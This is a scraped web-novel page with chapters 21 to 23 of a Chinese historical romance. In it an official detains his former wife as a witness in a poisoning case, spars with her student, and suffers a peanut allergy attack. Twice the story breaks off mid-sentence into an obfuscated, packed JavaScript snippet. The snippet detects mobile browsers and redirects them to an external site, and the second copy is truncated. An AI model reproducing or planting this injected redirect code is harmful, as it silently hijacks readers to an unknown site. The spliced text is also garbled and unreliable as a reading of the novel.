一切的始作俑者容津岸,倒是最自如最惬意的那一个,他姿态懒懒散散,疏疏睇向容文乐,以及容文乐手中捧着的外衫直裰,又转过脸,对面色僵硬得像石头一样的佟归鹤,幽幽道: "不知佟公子是否介意,我借用你这间房,换一下外衫?昨晚着实有些混乱,恐污了我这身二品的官袍。‘被点到的容文乐只能将头埋得更低,不敢让旁人看到他此刻复杂的表情。 这、这.....大人这是怎么回事? 那时候在池州,也是面对佟归鹤、面对叶娘子的这几个学生,大人可谓是从容不迫、气定神闲,然而今日,仅仅过了一夜,却与那时的表现判若两人。甚至,容文乐还十分以下犯上,觉得大人对佟归鹤说的那两句话,实在是太过睚眦必报,是小人的作风。这样想着,容文乐的额头浮上了一层虚汗。他不敢想身侧的佟归鹤会如何应对那样的挑衅,一颗心扑通扑通直跳,又忽然听到咚咚咚的脚步声,急匆匆自楼下往楼上而来。 "本县主定要 小小的楼梯口这下更挤了。 康和县主的声音,在她看清这楼上的局势时戛然而止。昨晚,她在府衙露宿至半夜,哆哆嗦嗦被夜风冻醒之后,也再顾不得旁的,起来就直直往容津岸的值房里冲,却发现那里早已人去楼空。 一问才知道,容津岸是入夜后从府衙的后门离开的,主仆两人行色匆匆,并未交代去向。康和县主一心惦记着她那碟下了药的四叶奶黄酥,当下出了府衙,乘着马车,在八街九陌的应天城里找了整个后半夜,才终于看见了容津岸那辆马车,停在这间客栈的门口。 谁知道,上来就看见了她最不想看见的人。"好啊,真好啊,今天的人这么齐,是在开大会吗?怎么不知会我一声呢?”折腾了整整七八个时辰的康和县主一肚子火,快要把头发稍都燃起来了。她一见容津岸身旁盈盈玉立的那个女人,就更是气不打一处来。 长眉乌发,绿鬓朱颜,只简简单单扎单侧马尾,随意得像是把这所有的外男当做了空气,再朴素不过的鹅黄色穿在她的身上,却把她衬托得,好像刚出炉的、白嫩嫩的豆腐一样。 这叫什么,清水出芙蓉,天然去雕饰①?康和县主微微发抖。 在这个时辰,这个地点,昨晚她给津岸哥哥下的药,被谁得了便宜,简直不言而喻! 据说被男,色滋养过的女人,举手投足都充满媚态。怎么会有这样的淫.娃.荡.妇,如此厚颜无耻之人呢?康和县主的怒火仿佛要把整个客栈全部烧掉。不对,不对。 那晚在津岸哥哥的同窗聚会上,她听来的话,与眼前的这些,诡异地串联在了一起。 康和县主脑海一闪,牙根咬碎; 叶采薇,叶采薇是吧! 装,装,装得真好,装得真妙,装得天上有地下无,把所有人都骗得团团转,害她几次出丑!尤其是在山庄里第一次见面,她真把叶采薇当做了不起眼的姚氏,叶采薇装作好奇问她“叶氏”的事情,她大言不惭,为了将津岸哥哥的前妻贬得一文不值,竟当着正主的面,胡编乱造了许多谣言! 装,再装,她今天无论如何都要豁出去,豁出去,撕破脸! “既然如此,”康和县主扭手扭脚,拨开挤在楼梯口的两个学生,径直跃上前来,“有些话,当着大家的面,也该说清楚了。 “叶采薇,叶采薇才是你的真名吧?‘几个学生不明真相,一听这个名字,顿时惊得眼珠直瞪。 叶采薇?叶采薇不是那谁. 所以所以,在池州的时候,容大人脸上的巴掌印,是被他们的老师打的?下手可真狠! 康和县主还在继续,她捻着锦帕,食指无礼地指向叶采薇,快要戳到她清雅的脸上去: “太子逆案罪臣叶渚亭之女,叶采薇,你以为你换了个名字,躲到南边来,就有资格开班讲学,传授你的悖逆之说了吗?, 她的语调尖锐,仿佛要刺破听者的耳膜,而叶采薇处之泰然,只浅浅吸了口气: "县主娘娘,我与你无冤无仇,何必如此咄咄逼人。两人之间,高下立判。 叶采薇全然事不关己的模样,落在康和县主眼里,只能将她狠狠一激,她厉声: “无冤无仇?上次在山庄,我问你可否与叶氏相识,你又是怎么回答我的?为什么不实话实说?把我当做傻子蒙骗,看我做一个跳梁小丑,你心里面得意的很吧?还说与我无冤无仇?'' “可若我真是毫不知情的陌生人,县主娘娘就可以胡乱在我面前抹黑叶氏、诋毁叶氏了吗?“叶采薇樱唇轻启,淡淡接了康和县主的逼视,淡定得不像话:“叶采薇与县主娘娘无冤无仇,仅仅因为她是容津岸的前妻,就可 以横遭你的无耻攻讦了吗?以彼之矛,攻彼之盾,康和县主顿感理亏。但她绝不会认输,立刻想到什么,抬脸,望向叶采薇身旁一言不发的容津岸; “津岸哥哥.....她、叶采薇她对外称你已经病故了五年,你难道无动于衷,任由她将你抹黑诋毁?’学生们顾不得去捡掉落满地的下巴,齐齐将目光对准容津岸。 容津岸面不改色。 “至于县主所言,所谓悖逆之说.....众所周知,家父生前虽因参与国储之争而落得身败名裂的下场,但家父之才学茹古涵今,他也曾是当朝公认的大儒。我是他亲生女儿、也是他唯一的血脉,从小受他躬身教导,若认定我对学生的所授所讲皆为悖逆之说,那容大人同样曾为家父高徒, 叶采薇目光在容津岸的脸上微微一扫,顿了顿,“我记得,当年容大人科举入仕,可是在殿试上被陛下钦点了探花郎,容大人用家父教授的学问本事博得陛下青睐,岂不也是悖逆?" “无稽之谈。”容津岸自然而然接过话来,“叶阁老的知遇之恩,对容某倾囊相授,纵使时隔多年,也仍旧历历在目。 说起旧事,他的眉目倒是多了几分正经。叶采薇和容津岸两人的一唱一和,不仅仅强有力地反驳了康和县主的质问,更是在无声打她的脸,只见她脸上一阵红一阵白,牙关切切,终于忍不住:”容津岸,我问你,当初,是不是因为我和她长得像,你才愿意搭理我的?" 围观看戏的几名学生下巴还没捡完,又掉了一地。什么意思什么意思? 所以说容大人确实在与他们的老师和离后与康和县主有染,而且还是因为,康和县主与老师长相相似?话本子里才有的替身故事吗? 被质问和齐盯的容津岸,嗤笑一声。“搭理县主什么?‘ 然后他沐雨栉风的笑容骤然凝结,如同夜航的行舟濡染被烟泽笼罩,反问 "是县主假手他人,向本官递送有毒的吃食吗?话音落地的瞬间,康和县主的脸失了血色。他突然自称“本官”,当然是要与她彻底划清界限。绝情的男人最是可怖,把柄落在他的手里,她恐怕不能善了。所谓"投毒”的内容难以启齿,天知地知,她嗫嚅难言。“县主投毒一事,非同小可。”容津岸正色,如星奔川骛,“本官是想就地联系应天知府处理此案,县主既然不请自来,那就请随本官走一趟。 容津岸说完,容文乐会意,向康和县主做了一个"请’的手势。 而康和县主涨红了脸,实在想不到拒绝的说辞,只好照做。 看戏的学生们,包括佟归鹤在内,都是涉世未深的青年。 原本以为今日所闻所见不过男女之间的八卦逸闻,却转眼扯上官非,他们更是目瞪口呆满腹狐疑,只想等着容津岸与康和县主走后,再细细向他们的老师叶采薇问个清楚明白。 可谁知,容津岸并未挪步,反而虚虚倾了过来:“叶先生是此案的重要人证,也必须跟我走一趟。‘**炒 叶采薇被带到了一个单独的房间。 当年太子逆案爆发,叶渚亭身为主谋深陷天牢,不识囹圄的叶采薇曾在温谣夫君孟崛的帮助下,入天牢探视过父亲。也因此,她知晓深牢大狱是何等模样,绝不是眼前这间,窗明几净、堂阔廊清-- “容津岸,你什么意思?‘ 她冷冷质问。 若是只要她为投毒一事做个人证,在衙门里直接升堂就好,又哪里需要这样奇奇怪怪的过场?“康和县主的身份特殊,她父亲又是三皇子殿下面前的红人。”容津岸不疾不徐,冠冕堂皇的话被他说得极其漂亮。 "事情繁多,你先在此暂住几日,等到需要你出面的时候,我自会来请你。 说完,转身就要离开。 叶采薇追了上去,看他转过脸来,眉宇间的烟云散开,鼻梁挺阔,薄唇的形状极为好看,叫人移不开眼。“我是人证不是人犯,哪有因此被软禁的道理?”面对如斯男色,叶采薇的态度却极其冷硬,“请你立刻放了我,这个案子需要我出面的时候,去客栈里找我就好。"容津岸的目光压过来。 两个人现在所处,在这房间门口的圈椅前,叶采薇被他盯住,黑云压城,只觉得心跳莫名加快。她明明什么都没说,他却像是看穿了她。“客栈?”薄唇一张一合,目光只淡淡地扫过她越来越红的脸颊,在她颤抖的唇瓣徘徊,又向上,睇向她汪着潮水的眼睛。 “哪里还有客栈能找到你,提前告诉我?反正,你肯定不在应天的客栈了。 叶采薇莫名心虚,像是被滞结于泥淖,耳尖发烫。”两天之前,你去了一趟镖局,定下了两个男镖师护送你们。”容津岸将她的窘迫尽收眼底,刻意咬死了那个男”字。 “如果说,你真要留在应天陪你那些学生秋闱,又何必专门请人护送? 他还在说: “因为你被我发现,五年来一直在小小的东流躲着,所以东流也回不去了,是不是?你想另外再找一个地方躲起来,像这五年一样,让我再也找不到你,是不是?''容津岸一口气说了好多话,身形未动,叶采薇忽然一软,跌坐在了身后的圈椅上。 他怎么会,怎么会什么都知道 ? 竟然连她去过镖局、定下了镖师的事都知晓,还能准确猜中她的想法? “是又如何?”她扬起螓首,以高傲的姿态掩饰自己,平阳下山的老虎,抑或张牙舞爪的猫咪,“我与你无瓜无葛,早就说好了,死生不复相见。这一次,是我不幸见到了你,之后我躲你,躲你远远的,又为什么不可以?''晨起的青丝来不及梳理,挽发的头绳崩断,长发如黑瀑一般在后背披散,叶采薇弓起脊背,光洁的玉颈不沾一丝微尘。 这模样,竟然像极了昨晚被他伺候的时候。她毫无察觉,鹅蛋一样的脸上还泛着浓浓的愠怒:“还有,你昨晚答应过我什么?你对天赌咒发誓,我帮了你这一次,你从此之后再也不出现,也再不与我纠缠,现在在做什么?容津岸,就算是三岁小儿,也知道言出必行的基本道理,你怎么反而还不如一个三岁小儿?容津岸并未说话,只是看着她。 眉眼疏懒淡漠,衬得她的激动和严厉都更像是无能狂怒。 叶采薇听见自己心跳的声音,他长臂一展,撑在圈椅两侧的扶手上。 居高临下睥睨的姿态,与他眉眼疏懒淡漠的姿态好似根本不相关。 "我在帮你,薇薇。’ 他开口,蓝紫色的二品官袍,惨白的皮肤。”被康和县主这一闹,你的身份、你和我的关系,都被你的学生们知道了,还有那个佟归鹤,他也知道了。容津岸的语气悠然自得,好似是在与她闲聊家常一般:“一直以来,你是怎么撒谎骗他们的?''“你说你姓姚,丈夫早亡,实在是没了倚仗,只能在青莲书院教书糊口。为人师者,必先正其身②,”他故意一顿,好整以暇地欣赏她眼底翻涌却无可奈何的怒意,“薇薇,你满口的谎言已经被揭穿了,之后你又如何再为人师表,面对那些信赖你仰慕你的学生?‘“你--你--”叶采薇杏眼圆睁,紧紧咬着樱唇。向来能言善辩、利口巧辞的她,竟然一时语塞,期期艾艾。 探花郎却没有半点停歇的意思,步步紧逼:"他们的秋闱近在眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578471|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,明日就该第一场入贡院,三年一届的人生大事,你在这时候离开他们,刚好也可以缓一缓。 说话间,他漾起了点点笑意,但又仅仅止于唇角。"我所做的一切都在帮你,薇薇,你该谢谢我才对,怎么还反过来指责我?嗯? 叶采薇气得小脸通红,饱满的胸脯上下起伏,她恨恨:“正话反话都被你说完了,我还能怎么说?既然容阁老执意要留我,那就烦请容阁老把我的两个婢女带来,我养尊处优惯了,一个人实在没办法生活。‘容津岸睇过来,漆黑的眼眸像无底的渊薮,他把中指与食指并拢,用指背轻拂叶采薇因为虚张声势而紧绷的下颌。 “按察使衙门重地,闲人勿进,问鹂和见雁,你只能选一个。 说完,还特意捻了捻长指,像是在回味她面颊上滑腻的触感。 她实在想不明白他的用意,咬牙:“那就.....问鹂。“求我,”容津岸却得寸进尺,春风得意,“我把问鹂给你带来。 然后好像猜到她忍无可忍,要立刻像一只炸毛的猫咪一样扑过来,容津岸利落地收手,后退,行至门边,回身:”问鹂来的时候,会给你带外伤的药。’关门声响,叶采薇低垂视线。 手心的擦伤、手腕的肿伤,寸寸失守,分明昭彰着容津岸昨晚的恶行。 她肠子都悔青了。 昨晚上,就不该一时鬼迷心窍答应他的无理要求,以至于现在,深陷进退两难的境地,甚至悲观地想,随时随地都可能坠入万劫不复。 *** 昨晚的那个食盒,经万夫人之手送到了容津岸的值房,因而康和县主深陷公案,那位万夫人也被牵扯了进来,秘密关押。 她的夫君万建义收到消息,急急来找容津岸。前晚上同窗聚会,万建义当众嘲讽容津岸“钻营人脉的高手",因为担心万夫人莫名其妙被牵连是容津岸在挟机报复,所以话里话外,都不客气。 可谁知容津岸进退有据,态度倒是公事公办抓不出半点错处,可也丝毫不提万夫人的事:“秋闱近在眼前,万大人身为外帘官,却并未参加昨晚的上马宴,反而留在衙署加班办公,可谓一片公心。万建义深知容津岸并非真心夸赞,额上沁出虚汗,又听面前昔日的探花郎说来: “科举三年一度,国之重事,为三皇子选拔人才,你我同朝为官,当和衷共济,可都不能有半点疏忽大意。’此言一出,万建义更是心下惴惴,疑窦顿生,想不明白容津岸话里话外直指秋闱,究竟所为何事。但三皇子的人,就是自己人,他不忘此来的目的,擦掉额头虚汗: "与容大人同窗一场,下官深知大人是顾念旧情之人,拙荆她没吃过苦,高床软枕惯了,无妄的牢狱之灾实在是..... 言外之意,当然是希望容津岸念在同窗一场的旧谊上,对万夫人高抬贵手。 万建义走后,容津岸命人向万夫人好生嘱咐一番,果断放了人。 门房又来报,说佟归鹤求见。 容津岸想了想,表示同意。 佟归鹤的来意不言而喻。 叶采薇被容津岸带走之后,他一直守在问鹂和见雁的身边,寸步不离。后来 ,见容文乐返回,只将问鹂带走猜到叶采薇已经被容津岸扣下,便急急来为老师解围。然而容津岸波澜不惊,慢腾腾与他打太极,三言两语,就把他或轻或重的说辞全部挡了回去,看似云淡风轻,实则密不透风 “可是.....可是.....”佟归鹤到底年轻,沉不住气,在容津岸这种少年老成的权臣面前,急得像热锅上的蚂蚁,更显得格外莽撞和幼稚。 他紧绷着声线: "容大人爱民如子,宅心仁厚,烦请大人通融一二,让草民与老师见上一面。‘ 说话的时候,容津岸正捧着茶盏,慢条斯理地将茶叶吹开,闻言,眼皮一抬,凛光飞剑似的射过来。纵然佟归鹤早已估料到容津岸是个什么样的人,被他这样一看,仍旧顿感脊背发凉,难以自控地打了个寒噤。然而佟归鹤是个执着至死之人,他仍旧不愿退缩“老师、叶娘子她,她并非作奸犯科的人犯,只是康和县主投毒一案的人证。明日便是秋闱第一场入贡院之日,草民读罢昨日老师重做题法,胸中有疑,想当面请教老师,十分紧急,且此事,并未触犯任何法条。"是,你明日便要秋闱。但两日前的傍晚,你曾经在闹市,与康和县主发生过口角,激烈争吵,后来你甚至还被她派人打伤,伤势甚重,”容津岸将茶盏放下,从容说来:”按察使大人有理由怀疑,你会为了报复康和县主将你打伤,而让叶采薇胡乱作供,扰乱司法。"佟归鹤一怔,浑身僵硬。 想不到那天他为了老师的一万两银子而被康和县主欺负的事,不仅被容津岸知晓,竟然还成了他今日的绊脚石。可是他搜肠刮肚,也确实再找不到任何冠冕堂皇的理由反驳。 ”佟公子,明日便是秋闱,一连三场,每场三日,于身于心都是重大考验。你现在要做的事全心全意准备考学之事,不要辜负采薇对你的悉心栽培。容津岸的神色缓和了下来,颇有一种为人师长的和蔼,顿了顿, “尤其是因为你长得有几分像我,采薇对你更是多费了不少的心血。’ 佟归鹤沉浸在前半句,诧异着清冷孤傲的容大人与早晨时剑拔弩张的故意挑衅完全不同,变得关怀备至,但后面的这句话,却像是冬日里温暖的泉源活水中猛然扎出来的一条刺,让他心口蓦地一疼。他实在无法正视这个问题。 当初在山庄,第一眼见到传说中清流领袖的容津岸模样的时候,他便在心底最阴暗的角落,埋下了一个深深的疑问。 这个疑问被他悉心呵护,一直不敢正视和触碰,等到今日,老师与容大人从前是夫妻的真相大白于眼前时,他还抱有侥幸。 可谁知道..... "草民斗胆,问容大人一句私事,”佟归鹤艰难咽下了口中的津液,心扑通扑通狂跳 “容大人,你会与老师复婚吗?” 容津岸俊朗无匹的脸上恢复了无波无澜:“既然是私事,就没有一定要回答你的理由。‘他知道老师还有一个儿子吗?应当不知道的吧。“如果我说,老师她有个秘密,容大人应当感兴趣呢?”佟归鹤问。 耍赖 第22章 耍赖 22 两人之间,再次陷入了剑拔弩张的微妙。佟归鹤以为容津岸会被激怒,谁知当年的探花郎眼皮-掀,始终保持着气定神闲的姿态: "“夫妻本为一体,互相之间坦诚相待。我与采薇当年之所以会分开,只是因为一点误会而已,自然没有什么秘密。''佟归鹤的太阳穴上隐隐凸起青筋,他立刻回:“可是,你们和离之后,老师她宁愿隐姓埋名也要躲着你,真的只是因为一点误会而已吗?‘他提了一口气; “在池州的时候,是你们五年后第一次重逢吧?距今也已有月余了,这么长的时日,老师她为何还要选择隐瞒我们所有人,装作与你不识、不愿与你有任何关联?容津岸不看他,只低头整理腰间蹀躞带。这副从容的模样,更加激起了佟归鹤心中的怒火:”容大人,草民记得,你曾亲口说过,奚家七爷奚子瑜,是你在国子监的同窗,你与他更是情同手足。当年老师离开京城来到东流,她身为罪臣之女又是和离之身,你以为,她是凭何能在久负盛名的青莲书院教书?‘眼见容津岸修长凌厉的手一顿,佟归鹤唇角上翘,说话时多了几分底气: “奚家乃是东流第一大望族,奚家七爷曾以奚家声誉为注,力保老师在青莲书院教出不俗的成绩。草民还曾听说,奚七爷当年也同样高中二甲进士,却放弃了前途无量的翰林院编修之职,回到东流做一名商人,还差一点与青梅竹马的未婚妻梅氏退亲。" 说完,只觉得耳膜一震,竟是容津岸低低冷嗤:“你听说的东西,不可谓不少。 佟归鹤定睛一看时,却见神姿高彻的权臣面不改色:“如若方才这些,就是你所谓的秘密,这天下屡试不第的落魄文人,怕是都敢以贩卖乏味无趣的稗闻为生了。"衣冠楚楚的模样,当居庙堂之高。 佟归鹤咬着牙。 他心想,秘密,不止,当然不止。 其实方才那个冲动已经抵达了他的嘴边,一张口便可以惊涛骇浪,但他转念,又升起了一个新的想法。儿子的事,瞒着容津岸越久,等到容津岸知道真相的时候,才会越生气越愤怒的,对不对?而真相大白那一天,他再飘过来,轻描淡写嘲讽两句:嗯,原来容大人才知道吗?草民还以为大人早就知道了呢。 所以即使容津岸话藏机锋,佟归鹤也只是敛眸,垂手施礼: “容大人教训得极是,草民谨记。‘ 他淡然说来: "有一件事,草民差点忘了。 “这些年,老师对草民关怀备至,不仅时常陪伴草民读书至深夜,草民在书院每每有头疼脑热的时候,老师她都会亲手熬制汤药。草民至今记得,有一回草民病来如山倒,无法下地走动,只能在寝房中静卧,老师她还不辞辛苦,到草民的床榻边,喂草民服下汤药。’"见到容大人,草民才知道老师对草民的特殊照顾全赖草民有幸生得几分像容大人。老师如此情深义重,明日开始的秋闱,草民也定当全力以赴,绝不辜负老师的殷切期许。'' 忙碌至晚膳时分,容津岸来找叶采薇。他到的时候,她们主仆正在吃饭,二人相对而坐,一尺见方的餐桌,素青色的钵碟盛着几样小菜。问鹂一见容津岸来,便起身下桌,去重新为他布置餐具。 “清烩菰,莼菜羹,红脍鲈鱼,”容津岸睨过满桌清新鲜亮的小菜,淡笑报菜名,“真是难为这府衙的小厨房了,还要做如此刁钻的菜式。 叶采薇连眼皮都没有抬一下。 “绩溪距离东流不远,四百多里,”容津岸微抬袖笼,就连举箸的姿势,都清雅俊逸得很,“五年来,你却一次都没有回去过。” "薇薇,‘思乡’这两个字,你若执意要用这些菜式来表达①,又是否问心无愧呢?我只看到了刻意和虚伪,没有旁的。 菰菜清爽,莼羹浓稠,鲈鱼鲜嫩多汁,入口咸香四溢,叶采薇放下筷箸,将鱼刺从唇瓣挑出,与空碟中的其他鱼刺并排在一起。 她生得鲜妍,木芙蓉般静美的面容,被莼羹的袅袅香烟熏染,别有一番芸芸风韵。 朱唇轻启,黛眉一挑,便多了半分天盛逼人:“该付的菜钱一分不少,我还多补贴了几两碎银给小厨房,容大人白吃白喝、吃拿卡要也就罢了,还大言不惭挑剔起菜式来?‘ 提到银钱,容津岸想起了什么, 一顿: “康和县主还你的那一万两银票,因为上面有专门的印信,需要先留作案件的证据,等事情了了,我再给你。眼下的情形,一万两是否回到她的手上,叶采薇根本不在乎。 她抬起眼眸,与她相对而坐的男人穿葱青色常服,缭绫的料子,蟹壳色的滚边,领口一圈疏疏懒懒的流云暗纹,与他如烟似雾的俊朗外表颇为相称。她必须要承认一点,如若不是因为容津岸这副极好的皮囊,她对他多年来的容忍和退让,定会消减好大一半。叶采薇想起了另一件事,正色: "我被你留在这里, 冠冕堂皇的理由你也用了, 我想 敢问容大人,向外寄信,需要得到你的批准吗?‘”佟归鹤不可以。’ “他就在应天,我给他寄信做什么?’”奚子 瑜也不可以。 “我连他人在何处都不知道。’ 容津岸忽然一笑,眼尾染上淡淡的红:"温谣可以,她的两个哥哥不行。'' 叶采薇觉得两人的对话像两个不满五岁的幼稚孩童。将手中盛着莼菜羹的瓷碗放下: “那我就出去了再给她写,你准备什么时候放了我?’对面久久没有回答,男人左手的长指捻动,摇头:“暂时还不知道。 是无辜的口吻,清澈得好像初出茅庐的青年,又偏生让人捉摸不透,叶采薇不想被他看见自己眸中的愠火,垂下眼帘,听他又说来: “叶先生又不是囚笼中的犯人,我自然是不会检查你写给温谣书信的内容。再说,就算你果真用书信向她求救,京城距此路途遥遥,等她和孟崛赶过来的时候,我们也早就结束了。 这世上再没有比容津岸更会惺惺作态的拿乔小人,叶采薇心口一堵,咬着唇瓣,正恨不得跟他撕破脸大吵一架,却见余光里葱青色的袖笼前伸,朝着桌上另一盘菜肴探去。 容津岸长指捏住瓷勺的勺柄,勺心则深入了那碟茴香拌花生。 花生脆爽,茴香油绿,配上几颗切成小丁形状的辣椒,鲜香得宜,最受叶采薇的钟爱。只可惜,容津岸天生有疾,并不能食用花生,每每误食,轻则腹痛腹泻,重则呼吸不畅、面部水肿,几近窒息,半只脚踏入黄泉。 在和离之前,他是叶采薇放在心尖上的人,她对他的体贴事无巨细,这种饮食上的事,她尤其小心谨慎,绝不会让他有半点犯险的可能。 但如今,早已经江河日下。 容津岸无耻之尤,他既要当着她的面给自己找不痛快,她自然是求之不得。 最好是死了,一了百了,这样,他们两个人之间那些恩怨纠缠的旧账,也可以彻底清算。而她四年来对叶容安撒下的弥天大谎,便可以悄无声息地掩过去。 外面不知何时又下起了雨,入秋的雨水如海如潮,豆大的雨点噗哒噗哒的,打在直棱窗雕花的凹陷上,有一些则沿着窗沿,缓缓蜿蜒而下,划出一道一道细小的彩线。饭毕,问鹂利落收拾餐桌上下,容津岸移至一旁的圈椅,慢悠悠地品着叶采薇从东流带来的敬亭绿雪,半点没有要走的意思。 手上不停的问鹂瞥向那二人,每到他们都不说话的时候,她便预感到有事发生。 她和见雁夹在他们中间也很难的。 果然,她听见叶采薇说来: “食不言寝不语。’ “起先用饭的时候不方便,眼下闲着,容大人若是有什么话,就请直说。'' 问鹂又偷偷睇过去一眼,只见叶采薇眼底泛红,显然是勉强维持了脸上尚算礼貌温柔的神情。“若是没有,也请容大人回去休息,瓜田李下,有损容大人清誉。’ 然而,容津岸是摆明了一副赖皮的模样。他慢条斯理地将手中的茶盏放下,继而两条长腿一展,舒舒服服地向后,靠着圈椅的椅背扶手,葱青色袖笼包裹的长臂疏疏撑在几案,骨节分明的大手,支起他俊朗无匹的面容。 “确实有些要紧的话要说,但只能叶先生一个人听。他淡淡发言。 恰好此时问鹂已经收拾妥当,她神色复杂地望了一眼自家主子,然后默默退了出去,将房门关上,守在外面。被留下的叶采薇闷声欷歙: 有时候,她是真的弄不明白,自己的这两个心腹婢女,究竟是向着谁的。 这边,容津岸支颐,款款说来: “自去年年末始,京城里学风日盛。有几位老休致仕的翰林,仿照南方各地欣欣向荣的书院,也在城角兴起了几间私人书院。‘ “这些书院规模不大,但五脏六腑俱全,与腐朽陈旧的官学国子监相比,它们朝气蓬勃而学风清朗,虽然比不上如庆林书院、青莲书院那样贤才济济,但我也听过两回他们的讲学,水平极高。 叶采薇听完默了默,如画的黛眉蹙起,小巧的鼻头也微微泛红: “容大人,你这是什么意思?’ 她想起了另一件事。 虽然叶渚亭当年科举时因为特殊原因未进一甲,但他才学卓著,自从嘉泰二十六年重返京城做官起,便已是当世公认的大儒。传道授业、著书立说,是几乎每一个心怀天下的才士之宏愿,而能创办自己的书院,是叶渚亭多年的夙愿之一。但事与愿违,身为太傅、又是官居二品的朝廷栋梁,绝不可能在京城这个天子脚下大兴书院。当年,也只能在叶府上开私堂教学,收几名像容津岸、奚子瑜一样的关门弟子,硕结桃李。 是以,叶采薇离开京城之后,才在奚子瑜的建议下,选择到青莲书院教书。 容津岸无端提起书院做什么?叶渚亭是他的恩师,却早已身败名裂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578472|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那几个书院的山长,都是叶阁老从前的同侪,自然对叶先生的真才实学一清二楚。叶先生若是想去教书,不需要我用全家的声誉做赌,也能顺利。"容津岸眉宇云山雾罩,长臂仍旧支颐,睇向叶采薇的黑眸里,难以辨出情绪。 但尽管如此,他的字字句句扭曲,叶采薇心头的火“噌”地被点燃,杏眼圆睁 “我想?我什么时候说过想去那里教书?还有,此事又与你 何干?做什么,需要你用你全家的声誉做赌?''她被气得笑了一下: “什么全家的声誉,现在你所谓的全家,就你一个人,书院的山长要你的声誉做什么?你薄情寡性背信弃义,又哪有什么声誉?'' 为了尽快将容津岸赶走,叶采薇从饭后便一直没有坐下,就站在他身前一步处,这样俯低的姿态,能够让她对他自然而然的压迫,气势如山。 一连串的质问唾完,叶采薇选择了居高临下的睥睨,不带半点犹疑。她的红唇饱满湿亮,两颊因愠怒而生了淡淡的粉,鸦睫簌簌,乌黑的一对眼眸,流光溢彩。然而容津岸却并没有接话,只一动不动,凌厉的下巴微抬,深潭一般的瞳孔,坦然接着她的逼视。两人无声对视。 窗外的雨声未歇,不知不觉越下越大,噼里啪啦打在窗沿上,发出并不悦耳的闷响,又夹杂着轰隆隆轰隆隆的阵雷,掩盖了这间房内,所有急促的呼吸和心跳的声音。一定是僵持的时间太长,以至于叶采薇眼花,否则,她怎么会看到,容津岸的眼角浮起了一丝浅浅的笑呢? 盖因佟归鹤在今日提起,当年青莲书院的山长之所以会同意叶采薇到书院教书,全靠奚子瑜以奚家全族的声誉作注。 而叶采薇对此并不知情。 当初奚子瑜解释,赴国子监之前他便在青莲书院就读,因此与山长熟识,山长卖了他一个人情,爽快同意了叶采薇以女子身份教书。 她哪里能猜到容津岸这番没头没尾的话,实则是在试探,而根由竟在与他情同手足的奚子瑜?心跳不受控地越来越快,她忽然想到另一个问题--为什么要考虑去京城?为了叶容安,她又怎么可能去京城? 叶采薇潋滟眸光倒映在容津岸的眼底,男人仍旧不说话,只淡笑熠熠,光华爬上眼尾眉梢。“你到底走不走?”到了终于无法忍受,她先开了口。柔弱无骨的双手像是被施了法术一般,明知徒劳,却仍要伸向他的衣领。 容津岸生得高大挺拔如松柏,她虽在女子中不算娇小,与他并立的时候,两人却好似玲珑的猫咪和虚伪的豺狼. 若是能把他拎起来,丢出去就好了。谁知柔荑刚刚触到他领口流云的暗纹,却见俊朗无匹的男人脸色骤变。 眉头深锁,额头上豆大的汗珠一颗一颗,沿着他坚.挺的鼻梁和瘦削的面庞滚落,他的皮肤本就苍白,刹那过后,连薄唇都骤然失了血色。 “你.....”叶采薇怔愣。 “以、以为我,”容津岸的话语断断续续,像是忍受着极大的痛苦,“早就可以吃花生..... 方才还大张旗鼓的权臣肱股,眨眼间竟然几乎要昏死过去。 叶采薇心跳消失,来不及嘲笑他的自以为是,她飞快转身,让门外的问鹂去请郎中大夫。大雨还在哗啦啦地下,郎中大夫冒着大雨赶到时,浑身湿了大半。 容津岸被就地安置在了叶采薇这间屋子里。确如他自己所断,如此险情全赖他服食了花生,幸而量极小,在施针之后,已无性命之虞。问鹂从旁协助,容文乐则一如既往伶俐靠谱,付了诊金,将那郎中大夫周全送走,又在外面按方抓药,等到一碗热气腾腾的汤药端过来的时候,床榻上的容津岸才勉强撑开了眼皮。 苍白的眼帘之下,瞳孔漆黑依旧,只是又浓又长的眼睫却好似蜷曲,虚薄的眸光投过来,仿佛是黯淡的星斗。刚才,为了方便郎中大夫施针,容文乐已将容津岸的外衫麻利出去。眼下探花郎被半截杏红色的衾被盖住下身,手臂压在被面,皱巴巴的袖口挽至肌肉紧实的小臂,露出苍白的手背,其上的青筋十分显眼。这样的情状,一时竟是难以言喻地尴尬。容文乐颇为复杂地睃了叶采薇一眼,端着烫手的汤药正要往前凑,谁知躺着的那个人,幽幽开了口:“这.....汤药,怎么不是薇薇亲手熬的?’叶采薇简直莫名其妙,刚想出言嘲讽,容文乐倒先陪着笑回道: “叶娘子的双手娇贵,是用来舞文弄墨的,生火熬药这种粗活,自然是小的来做。‘ “娇贵?”容津岸愁云惨淡,仿佛听见了什么天大的笑话 “她在青莲书院教书,学生头疼脑热的,她可是亲手熬药,又哪里是娇贵的人?" 叶采薇又惊又疑,眉头紧皱。 青莲书院配有诊室和药房,又有专人负责学生的病体,哪里需要她亲手给学生熬药? 哪一个学生值得她亲手熬药的? 到底是谁传的谣言? 这谣言到了容津岸的嘴里,还变出了一股酸味。 要过敏 第23章 要过敏 23 不过,纵然是匪夷所思的谣言,叶采薇也并不愿意现在就澄清。 反正她品出了酸味来。 